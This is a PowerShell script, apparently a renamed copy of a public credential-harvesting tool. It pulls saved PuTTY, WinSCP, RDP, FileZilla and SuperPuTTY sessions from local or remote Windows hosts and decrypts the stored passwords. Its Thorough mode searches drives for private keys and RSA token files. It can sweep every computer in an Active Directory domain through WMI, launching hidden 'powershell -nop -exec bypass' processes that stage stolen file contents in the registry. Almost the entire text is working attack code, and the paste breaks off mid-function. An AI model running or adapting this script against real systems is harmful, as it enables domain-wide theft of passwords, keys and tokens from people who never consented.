· 6 years ago · Apr 17, 2019, 08:40 AM
1<#
2 .SYNPOSIS
3 Extracts and decrypts saved session information for software typically used to access Unix systems.
4 .DESCRIPTION
5 Queries HKEY_USERS for PuTTY, WinSCP, and Remote Desktop saved sessions. Decrypts saved passwords for WinSCP.
6 Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords.
7 In Thorough mode, identifies PuTTY private key (.ppk), Remote Desktop Connection (.rdp), and RSA token (.sdtid) files, and extracts private key and session information.
8 Can be run remotely using the -iL (supply input list of computers) or -AllDomain (run against all AD-joined computers) flags.
9 Must either provide credentials (-u and -p for username and password) of an admin on target boxes, or run script in the context of
10 a privileged user on the target boxes, in which case no credentials are needed.
11 .Notes
12 Author: Brandon Arvanaghi
13 Date: February 17, 2017
14 Thanks:
15 Brice Daniels, Pan Chan - collaborating on idea
16 Christopher Truncer - helping with WMI
17 .PARAMETER o
18 Generates CSV output.
19
20 .PARAMETER Thorough
21 Searches entire filesystem for certain file extensions.
22 .PARAMETER u
23 Domain\username (e.g. superduper.com\a-jerry).
24 .PARAMETER p
25 Password for domain user (if username provided).
26
27 .PARAMETER iL
28 If you want to supply a list of hosts to run normal against, provide the path to that file here. Each host should be separated by a newline in the file.
29 .PARAMETER Target
30 If you only want to run normal against once specific host.
31
32 .PARAMETER AllDomain
33 Queries Active Direcotry for a list of all domain-joined computers and runs normal against all of them.
34#>
35function Invoke-normal {
36 param (
37 [switch]$o, # Generate CSV output
38 [switch]$Thorough, # Searches entire filesystem for certain file extensions
39 [string]$u, # Domain\username (e.g. superduper.com\a-jerry)
40 [string]$p, # Password of domain account
41 [string]$iL, # A file of hosts to run normal against remotely, each host separated by a newline in the file
42 [string]$Target, # If you want to run normal against one specific host
43 [switch]$AllDomain # Run across all active directory
44 )
45
46 Write-Output '
47 o_
48 / ". normal
49 ," _-"
50 ," m m
51 ..+ ) Brandon Arvanaghi
52 `m..m Twitter: @arvanaghi | arvanaghi.com
53 '
54
55 if ($o) {
56 $OutputDirectory = "normal (" + (Get-Date -Format "HH.mm.ss") + ")"
57 New-Item -ItemType Directory $OutputDirectory | Out-Null
58 New-Item ($OutputDirectory + "\PuTTY.csv") -Type File | Out-Null
59 New-Item ($OutputDirectory + "\SuperPuTTY.csv") -Type File | Out-Null
60 New-Item ($OutputDirectory + "\WinSCP.csv") -Type File | Out-Null
61 New-Item ($OutputDirectory + "\FileZilla.csv") -Type File | Out-Null
62 New-Item ($OutputDirectory + "\RDP.csv") -Type File | Out-Null
63 if ($Thorough) {
64 New-Item ($OutputDirectory + "\PuTTY ppk Files.csv") -Type File | Out-Null
65 New-Item ($OutputDirectory + "\Microsoft rdp Files.csv") -Type File | Out-Null
66 New-Item ($OutputDirectory + "\RSA sdtid Files.csv") -Type File | Out-Null
67 }
68 }
69
70 if ($u -and $p) {
71 $Password = ConvertTo-SecureString $p -AsPlainText -Force
72 $Credentials = New-Object -Typename System.Management.Automation.PSCredential -ArgumentList $u, $Password
73 }
74
75 # Value for HKEY_USERS hive
76 $HKU = 2147483651
77 # Value for HKEY_LOCAL_MACHINE hive
78 $HKLM = 2147483650
79
80 $PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions"
81 $WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
82 $RDPPathEnding = "\SOFTWARE\Microsoft\Terminal Server Client\Servers"
83
84 if ($iL -or $AllDomain -or $Target) {
85
86 # Whether we read from an input file or query active directory
87 $Reader = ""
88
89 if ($AllDomain) {
90 $Reader = GetComputersFromActiveDirectory
91 } elseif ($iL) {
92 $Reader = Get-Content ((Resolve-Path $iL).Path)
93 } elseif ($Target) {
94 $Reader = $Target
95 }
96
97 $optionalCreds = @{}
98 if ($Credentials) {
99 $optionalCreds['Credential'] = $Credentials
100 }
101
102 foreach ($RemoteComputer in $Reader) {
103
104 if ($AllDomain) {
105 # Extract just the name from the System.DirectoryServices.SearchResult object
106 $RemoteComputer = $RemoteComputer.Properties.name
107 if (!$RemoteComputer) { Continue }
108 }
109
110 Write-Host -NoNewLine -ForegroundColor "DarkGreen" "[+] "
111 Write-Host "Digging on" $RemoteComputer"..."
112
113 $SIDS = Invoke-WmiMethod -Class 'StdRegProv' -Name 'EnumKey' -ArgumentList $HKU,'' -ComputerName $RemoteComputer @optionalCreds | Select-Object -ExpandProperty sNames | Where-Object {$_ -match 'S-1-5-21-[\d\-]+$'}
114
115 foreach ($SID in $SIDs) {
116
117 # Get the username for SID we discovered has saved sessions
118 $MappedUserName = try { (Split-Path -Leaf (Split-Path -Leaf (GetMappedSID))) } catch {}
119 $Source = (($RemoteComputer + "\" + $MappedUserName) -Join "")
120
121 # Created for each user found. Contains all sessions information for that user.
122 $UserObject = New-Object PSObject
123
124 <#
125 PuTTY: contains hostname and usernames
126 SuperPuTTY: contains username, hostname, relevant protocol information, decrypted passwords if stored
127 RDP: contains hostname and username of sessions
128 FileZilla: hostname, username, relevant protocol information, decoded passwords if stored
129 WinSCP: contains hostname, username, protocol, deobfuscated password if stored and no master password used
130 #>
131 $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
132 $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList
133 $ArrayOfRDPSessions = New-Object System.Collections.ArrayList
134 $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList
135 $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
136
137 # Construct tool registry/filesystem paths from SID or username
138 $RDPPath = $SID + $RDPPathEnding
139 $PuTTYPath = $SID + $PuTTYPathEnding
140 $WinSCPPath = $SID + $WinSCPPathEnding
141 $SuperPuTTYFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\Documents\\SuperPuTTY\\' AND FileName='Sessions' AND Extension='XML'"
142 $FileZillaFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\AppData\\Roaming\\FileZilla\\' AND FileName='sitemanager' AND Extension='XML'"
143
144 $RDPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$RDPPath @optionalCreds
145 $PuTTYSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$PuTTYPath @optionalCreds
146 $WinSCPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$WinSCPPath @optionalCreds
147 $SuperPuTTYPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $SuperPuTTYFilter -ComputerName $RemoteComputer @optionalCreds | Select Name)
148 $FileZillaPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $FileZillaFilter -ComputerName $RemoteComputer @optionalCreds | Select Name)
149
150 # If any WinSCP saved sessions exist on this box...
151 if (($WinSCPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
152
153 # Get all sessions
154 $WinSCPSessions = $WinSCPSessions | Select-Object -ExpandProperty sNames
155
156 foreach ($WinSCPSession in $WinSCPSessions) {
157
158 $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
159 $WinSCPSessionObject.Source = $Source
160 $WinSCPSessionObject.Session = $WinSCPSession
161
162 $Location = $WinSCPPath + "\" + $WinSCPSession
163
164 $WinSCPSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue
165 $WinSCPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserName" @optionalCreds).sValue
166 $WinSCPSessionObject.Password = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"Password" @optionalCreds).sValue
167
168 if ($WinSCPSessionObject.Password) {
169
170 $MasterPassPath = $SID + "\Software\Martin Prikryl\WinSCP 2\Configuration\Security"
171
172 $MasterPassUsed = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetDWordValue -ArgumentList $HKU,$MasterPassPath,"UseMasterPassword" @optionalCreds).uValue
173
174 if (!$MasterPassUsed) {
175 $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
176 } else {
177 $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
178 }
179
180 }
181
182 [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
183
184 } # For Each WinSCP Session
185
186 if ($ArrayOfWinSCPSessions.count -gt 0) {
187
188 $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
189
190 if ($o) {
191 $ArrayOfWinSCPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
192 } else {
193 Write-Output "WinSCP Sessions"
194 $ArrayOfWinSCPSessions | Select-Object * | Format-List | Out-String
195 }
196
197 }
198
199 } # If path to WinSCP exists
200
201 if (($PuTTYSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
202
203 # Get all sessions
204 $PuTTYSessions = $PuTTYSessions | Select-Object -ExpandProperty sNames
205
206 foreach ($PuTTYSession in $PuTTYSessions) {
207
208 $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname
209
210 $Location = $PuTTYPath + "\" + $PuTTYSession
211
212 $PuTTYSessionObject.Source = $Source
213 $PuTTYSessionObject.Session = $PuTTYSession
214 $PuTTYSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue
215
216 [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
217
218 }
219
220 if ($ArrayOfPuTTYSessions.count -gt 0) {
221
222 $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
223
224 if ($o) {
225 $ArrayOfPuTTYSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
226 } else {
227 Write-Output "PuTTY Sessions"
228 $ArrayOfPuTTYSessions | Select-Object * | Format-List | Out-String
229 }
230
231 }
232
233 } # If PuTTY session exists
234
235 if (($RDPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
236
237 # Get all sessions
238 $RDPSessions = $RDPSessions | Select-Object -ExpandProperty sNames
239
240 foreach ($RDPSession in $RDPSessions) {
241
242 $RDPSessionObject = "" | Select-Object -Property Source,Hostname,Username
243
244 $Location = $RDPPath + "\" + $RDPSession
245
246 $RDPSessionObject.Source = $Source
247 $RDPSessionObject.Hostname = $RDPSession
248 $RDPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserNameHint" @optionalCreds).sValue
249
250 [void]$ArrayOfRDPSessions.Add($RDPSessionObject)
251
252 }
253
254 if ($ArrayOfRDPSessions.count -gt 0) {
255
256 $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions
257
258 if ($o) {
259 $ArrayOfRDPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation
260 } else {
261 Write-Output "Microsoft RDP Sessions"
262 $ArrayOfRDPSessions | Select-Object * | Format-List | Out-String
263 }
264
265 }
266
267 } # If RDP sessions exist
268
269 # If we find the SuperPuTTY Sessions.xml file where we would expect it
270 if ($SuperPuTTYPath.Name) {
271
272 $File = "C:\Users\$MappedUserName\Documents\SuperPuTTY\Sessions.xml"
273 $FileContents = DownloadAndExtractFromRemoteRegistry $File
274
275 [xml]$SuperPuTTYXML = $FileContents
276 (ProcessSuperPuTTYFile $SuperPuTTYXML)
277
278 }
279
280 # If we find the FileZilla sitemanager.xml file where we would expect it
281 if ($FileZillaPath.Name) {
282
283 $File = "C:\Users\$MappedUserName\AppData\Roaming\FileZilla\sitemanager.xml"
284 $FileContents = DownloadAndExtractFromRemoteRegistry $File
285
286 [xml]$FileZillaXML = $FileContents
287 (ProcessFileZillaFile $FileZillaXML)
288
289 } # FileZilla
290
291 } # for each SID
292
293 if ($Thorough) {
294
295 $ArrayofPPKFiles = New-Object System.Collections.ArrayList
296 $ArrayofRDPFiles = New-Object System.Collections.ArrayList
297 $ArrayofsdtidFiles = New-Object System.Collections.ArrayList
298
299 $FilePathsFound = (Get-WmiObject -Class 'CIM_DataFile' -Filter "Drive='C:' AND extension='ppk' OR extension='rdp' OR extension='.sdtid'" -ComputerName $RemoteComputer @optionalCreds | Select Name)
300
301 (ProcessThoroughRemote $FilePathsFound)
302
303 }
304
305 } # for each remote computer
306
307 # Else, we run normal locally
308 } else {
309
310 Write-Host -NoNewLine -ForegroundColor "DarkGreen" "[+] "
311 Write-Host "Digging on"(Hostname)"..."
312
313 # Aggregate all user hives in HKEY_USERS into a variable
314 $UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'}
315
316 # For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS.
317 foreach($Hive in $UserHives) {
318
319 # Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information.
320 $UserObject = New-Object PSObject
321
322 $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
323 $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
324 $ArrayOfPPKFiles = New-Object System.Collections.ArrayList
325 $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList
326 $ArrayOfRDPSessions = New-Object System.Collections.ArrayList
327 $ArrayOfRDPFiles = New-Object System.Collections.ArrayList
328 $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList
329
330 $objUser = (GetMappedSID)
331 $Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf)
332
333 $UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value
334
335 # Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key
336 $PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding"
337 $WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding"
338 $MicrosoftRDPPath = Join-Path $Hive.PSPath "\$RDPPathEnding"
339 $FileZillaPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\AppData\Roaming\FileZilla\sitemanager.xml"
340 $SuperPuTTYPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\Documents\SuperPuTTY\Sessions.xml"
341
342 if (Test-Path $FileZillaPath) {
343
344 [xml]$FileZillaXML = Get-Content $FileZillaPath
345 (ProcessFileZillaFile $FileZillaXML)
346
347 }
348
349 if (Test-Path $SuperPuTTYPath) {
350
351 [xml]$SuperPuTTYXML = Get-Content $SuperPuTTYPath
352 (ProcessSuperPuTTYFile $SuperPuTTYXML)
353
354 }
355
356 if (Test-Path $MicrosoftRDPPath) {
357
358 # Aggregates all saved sessions from that user's RDP client
359 $AllRDPSessions = Get-ChildItem $MicrosoftRDPPath
360
361 (ProcessRDPLocal $AllRDPSessions)
362
363 } # If (Test-Path MicrosoftRDPPath)
364
365 if (Test-Path $WinSCPPath) {
366
367 # Aggregates all saved sessions from that user's WinSCP client
368 $AllWinSCPSessions = Get-ChildItem $WinSCPPath
369
370 (ProcessWinSCPLocal $AllWinSCPSessions)
371
372 } # If (Test-Path WinSCPPath)
373
374 if (Test-Path $PuTTYPath) {
375
376 # Aggregates all saved sessions from that user's PuTTY client
377 $AllPuTTYSessions = Get-ChildItem $PuTTYPath
378
379 (ProcessPuTTYLocal $AllPuTTYSessions)
380
381 } # If (Test-Path PuTTYPath)
382
383 } # For each Hive in UserHives
384
385 # If run in Thorough Mode
386 if ($Thorough) {
387
388 # Contains raw i-node data for files with extension .ppk, .rdp, and sdtid respectively, found by Get-ChildItem
389 $PPKExtensionFilesINodes = New-Object System.Collections.ArrayList
390 $RDPExtensionFilesINodes = New-Object System.Collections.ArrayList
391 $sdtidExtensionFilesINodes = New-Object System.Collections.ArrayList
392
393 # All drives found on system in one variable
394 $AllDrives = Get-PSDrive
395
396 (ProcessThoroughLocal $AllDrives)
397
398 (ProcessPPKFile $PPKExtensionFilesINodes)
399 (ProcessRDPFile $RDPExtensionFilesINodes)
400 (ProcesssdtidFile $sdtidExtensionFilesINodes)
401
402 } # If Thorough
403
404 } # Else -- run normal locally
405
406} # Invoke-normal
407
408####################################################################################
409####################################################################################
410## Registry Querying Helper Functions
411####################################################################################
412####################################################################################
413
414# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive
415function GetMappedSID {
416
417 # If getting SID from remote computer
418 if ($iL -or $Target -or $AllDomain) {
419 # Get the username for SID we discovered has saved sessions
420 $SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID"
421 $Value = "ProfileImagePath"
422
423 return (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue
424 # Else, get local SIDs
425 } else {
426 # Converts user SID in HKEY_USERS to username
427 $SID = (Split-Path $Hive.Name -Leaf)
428 $objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID")
429 return $objSID.Translate( [System.Security.Principal.NTAccount])
430 }
431
432}
433
434function DownloadAndExtractFromRemoteRegistry($File) {
435 # The following code is taken from Christopher Truncer's WMIOps script on GitHub. It gets file contents through WMI by
436 # downloading the file's contents to the remote computer's registry, and then extracting the value from that registry location
437 $fullregistrypath = "HKLM:\Software\Microsoft\DRM"
438 $registrydownname = "ReadMe"
439 $regpath = "SOFTWARE\Microsoft\DRM"
440
441 # On remote system, save file to registry
442 Write-Verbose "Reading remote file and writing on remote registry"
443 $remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [System.Convert]::ToBase64String($fct); New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force'
444 $remote_command = 'powershell -nop -exec bypass -c "' + $remote_command + '"'
445
446 $null = Invoke-WmiMethod -class win32_process -Name Create -Argumentlist $remote_command -ComputerName $RemoteComputer @optionalCreds
447
448 # Sleeping to let remote system read and store file
449 Start-Sleep -s 15
450
451 $remote_reg = ""
452
453 # Grab file from remote system's registry
454 $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM, $regpath, $registrydownname -Computer $RemoteComputer @optionalCreds
455
456 $decoded = [System.Convert]::FromBase64String($remote_reg.sValue)
457 $UTF8decoded = [System.Text.Encoding]::UTF8.GetString($decoded)
458
459 # Removing Registry value from remote system
460 $null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $RemoteComputer @optionalCreds
461
462 return $UTF8decoded
463
464}
465
466####################################################################################
467####################################################################################
468## File Processing Helper Functions
469####################################################################################
470####################################################################################
471
472function ProcessThoroughLocal($AllDrives) {
473
474 foreach ($Drive in $AllDrives) {
475 # If the drive holds a filesystem
476 if ($Drive.Provider.Name -eq "FileSystem") {
477 $Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue
478 foreach ($Dir in $Dirs) {
479 Switch ($Dir.Extension) {
480 ".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)}
481 ".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)}
482 ".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)}
483 }
484 }
485 }
486 }
487
488}
489
490function ProcessThoroughRemote($FilePathsFound) {
491
492 foreach ($FilePath in $FilePathsFound) {
493 # Each object we create for the file extension found from a -Thorough search will have the same properties (Source, Path to File)
494 $ThoroughObject = "" | Select-Object -Property Source,Path
495 $ThoroughObject.Source = $RemoteComputer
496
497 $Extension = [IO.Path]::GetExtension($FilePath.Name)
498
499 if ($Extension -eq ".ppk") {
500 $ThoroughObject.Path = $FilePath.Name
501 [void]$ArrayofPPKFiles.Add($ThoroughObject)
502 } elseif ($Extension -eq ".rdp") {
503 $ThoroughObject.Path = $FilePath.Name
504 [void]$ArrayofRDPFiles.Add($ThoroughObject)
505 } elseif ($Extension -eq ".sdtid") {
506 $ThoroughObject.Path = $FilePath.Name
507 [void]$ArrayofsdtidFiles.Add($ThoroughObject)
508 }
509
510 }
511
512 if ($ArrayOfPPKFiles.count -gt 0) {
513
514 $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfRDPFiles
515
516 if ($o) {
517 $ArrayOfPPKFiles | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
518 } else {
519 Write-Output "PuTTY Private Key Files (.ppk)"
520 $ArrayOfPPKFiles | Format-List | Out-String
521 }
522 }
523
524 if ($ArrayOfRDPFiles.count -gt 0) {
525
526 $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles
527
528 if ($o) {
529 $ArrayOfRDPFiles | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation
530 } else {
531 Write-Output "Microsoft RDP Connection Files (.rdp)"
532 $ArrayOfRDPFiles | Format-List | Out-String
533 }
534 }
535 if ($ArrayOfsdtidFiles.count -gt 0) {
536
537 $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles
538
539 if ($o) {
540 $ArrayOfsdtidFiles | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation
541 } else {
542 Write-Output "RSA Tokens (sdtid)"
543 $ArrayOfsdtidFiles | Format-List | Out-String
544 }
545
546 }
547
548} # ProcessThoroughRemote
549
550function ProcessPuTTYLocal($AllPuTTYSessions) {
551
552 # For each PuTTY saved session, extract the information we want
553 foreach($Session in $AllPuTTYSessions) {
554
555 $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname
556
557 $PuTTYSessionObject.Source = $Source
558 $PuTTYSessionObject.Session = (Split-Path $Session -Leaf)
559 $PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
560
561 # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
562 [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
563
564 }
565
566 if ($o) {
567 $ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
568 } else {
569 Write-Output "PuTTY Sessions"
570 $ArrayOfPuTTYSessions | Format-List | Out-String
571 }
572
573 # Add the array of PuTTY session objects to UserObject
574 $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
575
576} # ProcessPuTTYLocal
577
578function ProcessRDPLocal($AllRDPSessions) {
579
580 # For each RDP saved session, extract the information we want
581 foreach($Session in $AllRDPSessions) {
582
583 $PathToRDPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
584
585 $MicrosoftRDPSessionObject = "" | Select-Object -Property Source,Hostname,Username
586
587 $MicrosoftRDPSessionObject.Source = $Source
588 $MicrosoftRDPSessionObject.Hostname = (Split-Path $Session -Leaf)
589 $MicrosoftRDPSessionObject.Username = ((Get-ItemProperty -Path $PathToRDPSession -Name "UsernameHint" -ErrorAction SilentlyContinue).UsernameHint)
590
591 # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
592 [void]$ArrayOfRDPSessions.Add($MicrosoftRDPSessionObject)
593
594 } # For each Session in AllRDPSessions
595
596 if ($o) {
597 $ArrayOfRDPSessions | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation
598 } else {
599 Write-Output "Microsoft Remote Desktop (RDP) Sessions"
600 $ArrayOfRDPSessions | Format-List | Out-String
601 }
602
603 # Add the array of RDP session objects to UserObject
604 $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions
605
606} #ProcessRDPLocal
607
608function ProcessWinSCPLocal($AllWinSCPSessions) {
609
610 # For each WinSCP saved session, extract the information we want
611 foreach($Session in $AllWinSCPSessions) {
612
613 $PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
614
615 $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
616
617 $WinSCPSessionObject.Source = $Source
618 $WinSCPSessionObject.Session = (Split-Path $Session -Leaf)
619 $WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
620 $WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username)
621 $WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password)
622
623 if ($WinSCPSessionObject.Password) {
624 $MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword)
625
626 # If the user is not using a master password, we can crack it:
627 if (!$MasterPassUsed) {
628 $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
629 # Else, the user is using a master password. We can't retrieve plaintext credentials for it.
630 } else {
631 $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
632 }
633 }
634
635 # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
636 [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
637
638 } # For each Session in AllWinSCPSessions
639
640 if ($o) {
641 $ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
642 } else {
643 Write-Output "WinSCP Sessions"
644 $ArrayOfWinSCPSessions | Format-List | Out-String
645 }
646
647 # Add the array of WinSCP session objects to the target user object
648 $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
649
650} # ProcessWinSCPLocal
651
652function ProcesssdtidFile($sdtidExtensionFilesINodes) {
653
654 foreach ($Path in $sdtidExtensionFilesINodes.VersionInfo.FileName) {
655
656 $sdtidFileObject = "" | Select-Object -Property "Source","Path"
657
658 $sdtidFileObject."Source" = $Source
659 $sdtidFileObject."Path" = $Path
660
661 [void]$ArrayOfsdtidFiles.Add($sdtidFileObject)
662
663 }
664
665 if ($ArrayOfsdtidFiles.count -gt 0) {
666
667 $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles
668
669 if ($o) {
670 $ArrayOfsdtidFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation
671 } else {
672 Write-Output "RSA Tokens (sdtid)"
673 $ArrayOfsdtidFiles | Select-Object * | Format-List | Out-String
674 }
675
676 }
677
678} # Process sdtid File
679
680function ProcessRDPFile($RDPExtensionFilesINodes) {
681
682 # Extracting the filepath from the i-node information stored in RDPExtensionFilesINodes
683 foreach ($Path in $RDPExtensionFilesINodes.VersionInfo.FileName) {
684
685 $RDPFileObject = "" | Select-Object -Property "Source","Path","Hostname","Gateway","Prompts for Credentials","Administrative Session"
686
687 $RDPFileObject."Source" = (Hostname)
688
689 # The next several lines use regex pattern matching to store relevant info from the .rdp file into our object
690 $RDPFileObject."Path" = $Path
691 $RDPFileObject."Hostname" = try { (Select-String -Path $Path -Pattern "full address:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
692 $RDPFileObject."Gateway" = try { (Select-String -Path $Path -Pattern "gatewayhostname:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
693 $RDPFileObject."Administrative Session" = try { (Select-String -Path $Path -Pattern "administrative session:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
694 $RDPFileObject."Prompts for Credentials" = try { (Select-String -Path $Path -Pattern "prompt for credentials:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
695
696 if (!$RDPFileObject."Administrative Session" -or !$RDPFileObject."Administrative Session" -eq 0) {
697 $RDPFileObject."Administrative Session" = "Does not connect to admin session on remote host"
698 } else {
699 $RDPFileObject."Administrative Session" = "Connects to admin session on remote host"
700 }
701 if (!$RDPFileObject."Prompts for Credentials" -or $RDPFileObject."Prompts for Credentials" -eq 0) {
702 $RDPFileObject."Prompts for Credentials" = "No"
703 } else {
704 $RDPFileObject."Prompts for Credentials" = "Yes"
705 }
706
707 [void]$ArrayOfRDPFiles.Add($RDPFileObject)
708
709 }
710
711 if ($ArrayOfRDPFiles.count -gt 0) {
712
713 $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles
714
715 if ($o) {
716 $ArrayOfRDPFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation
717 } else {
718 Write-Output "Microsoft RDP Connection Files (.rdp)"
719 $ArrayOfRDPFiles | Select-Object * | Format-List | Out-String
720 }
721
722 }
723
724} # Process RDP File
725
726function ProcessPPKFile($PPKExtensionFilesINodes) {
727
728 # Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes
